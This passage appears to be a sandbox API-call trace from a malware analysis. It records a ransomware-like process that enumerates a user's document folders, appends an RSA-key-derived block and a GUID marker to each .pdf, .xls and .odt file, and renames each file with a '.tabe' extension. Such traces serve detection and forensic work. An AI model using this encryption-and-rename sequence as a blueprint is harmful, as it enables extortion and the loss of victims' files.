HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\HkR58LK.doc.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\hkr58lk.doc.tabe")) returned 1 [0127.719] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15c029e0, ftCreationTime.dwHighDateTime=0x1d5d80c, ftLastAccessTime.dwLowDateTime=0x9d1134b0, ftLastAccessTime.dwHighDateTime=0x1d5e753, ftLastWriteTime.dwLowDateTime=0x9d1134b0, ftLastWriteTime.dwHighDateTime=0x1d5e753, nFileSizeHigh=0x0, nFileSizeLow=0x12bbe, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Oq0ngTpVa5mKSdN0.pdf", cAlternateFileName="OQ0NGT~1.PDF")) returned 1 [0127.719] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\Oq0ngTpVa5mKSdN0.pdf") returned=".pdf" [0127.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\Oq0ngTpVa5mKSdN0.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\oq0ngtpva5mksdn0.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.719] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=76734) returned 1 [0127.719] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.720] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12b98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.720] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.721] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x12bbe, lpOverlapped=0x0) returned 1 [0127.722] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.722] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.722] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.722] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.723] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.723] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.723] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.723] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.723] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.723] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.723] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.723] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.723] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.724] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.724] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12bbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.724] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.724] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.724] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.724] CloseHandle (hObject=0x618) returned 1 [0127.725] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\Oq0ngTpVa5mKSdN0.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\oq0ngtpva5mksdn0.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\Oq0ngTpVa5mKSdN0.pdf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\oq0ngtpva5mksdn0.pdf.tabe")) returned 1 [0127.727] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ea0a890, ftCreationTime.dwHighDateTime=0x1d5dc96, ftLastAccessTime.dwLowDateTime=0xff42e6b0, ftLastAccessTime.dwHighDateTime=0x1d5df06, ftLastWriteTime.dwLowDateTime=0xff42e6b0, ftLastWriteTime.dwHighDateTime=0x1d5df06, nFileSizeHigh=0x0, nFileSizeLow=0x1367b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sZ0ANFzif.xls", cAlternateFileName="SZ0ANF~1.XLS")) returned 1 [0127.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\sZ0ANFzif.xls") returned=".xls" [0127.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\sZ0ANFzif.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\sz0anfzif.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.727] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=79483) returned 1 [0127.727] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.728] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13655, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.728] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.730] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1367b, lpOverlapped=0x0) returned 1 [0127.731] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.731] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.731] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.731] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.731] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.731] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.731] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.731] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.731] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.732] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.732] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.732] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.732] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.732] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.732] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1367b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.732] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.733] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.733] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.733] CloseHandle (hObject=0x618) returned 1 [0127.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\sZ0ANFzif.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\sz0anfzif.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\f1HORdEsWis1i\\sZ0ANFzif.xls.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\f1hordeswis1i\\sz0anfzif.xls.tabe")) returned 1 [0127.735] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ea0a890, ftCreationTime.dwHighDateTime=0x1d5dc96, ftLastAccessTime.dwLowDateTime=0xff42e6b0, ftLastAccessTime.dwHighDateTime=0x1d5df06, ftLastWriteTime.dwLowDateTime=0xff42e6b0, ftLastWriteTime.dwHighDateTime=0x1d5df06, nFileSizeHigh=0x0, nFileSizeLow=0x1367b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sZ0ANFzif.xls", cAlternateFileName="SZ0ANF~1.XLS")) returned 0 [0127.735] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.735] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.735] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\") returned="z0uy\\" [0127.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\") returned="KHLX_z_BzgqT1ccr3g5\\" [0127.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0127.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.735] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.735] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.735] PathFindFileNameW (pszPath="") returned="" [0127.735] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d03afe0, ftCreationTime.dwHighDateTime=0x1d5dfef, ftLastAccessTime.dwLowDateTime=0x4669b0c0, ftLastAccessTime.dwHighDateTime=0x1d5dce9, ftLastWriteTime.dwLowDateTime=0x4669b0c0, ftLastWriteTime.dwHighDateTime=0x1d5dce9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.738] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d03afe0, ftCreationTime.dwHighDateTime=0x1d5dfef, ftLastAccessTime.dwLowDateTime=0x4669b0c0, ftLastAccessTime.dwHighDateTime=0x1d5dce9, ftLastWriteTime.dwLowDateTime=0x4669b0c0, ftLastWriteTime.dwHighDateTime=0x1d5dce9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.738] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf80413b0, ftCreationTime.dwHighDateTime=0x1d5e695, ftLastAccessTime.dwLowDateTime=0x624fc5a0, ftLastAccessTime.dwHighDateTime=0x1d5d8ab, ftLastWriteTime.dwLowDateTime=0x624fc5a0, ftLastWriteTime.dwHighDateTime=0x1d5d8ab, nFileSizeHigh=0x0, nFileSizeLow=0xbb50, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1UkUCQS3kUpsehdU.odt", cAlternateFileName="1UKUCQ~1.ODT")) returned 1 [0127.738] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\1UkUCQS3kUpsehdU.odt") returned=".odt" [0127.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\1UkUCQS3kUpsehdU.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\1ukucqs3kupsehdu.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.738] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=47952) returned 1 [0127.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.739] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbb2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.739] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.741] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xbb50, lpOverlapped=0x0) returned 1 [0127.741] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.742] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.742] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.742] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.742] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.742] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.742] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.742] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.742] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.743] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.743] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.743] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.743] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.743] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.743] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbb50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.743] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.743] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.743] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.743] CloseHandle (hObject=0x618) returned 1 [0127.745] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\1UkUCQS3kUpsehdU.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\1ukucqs3kupsehdu.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 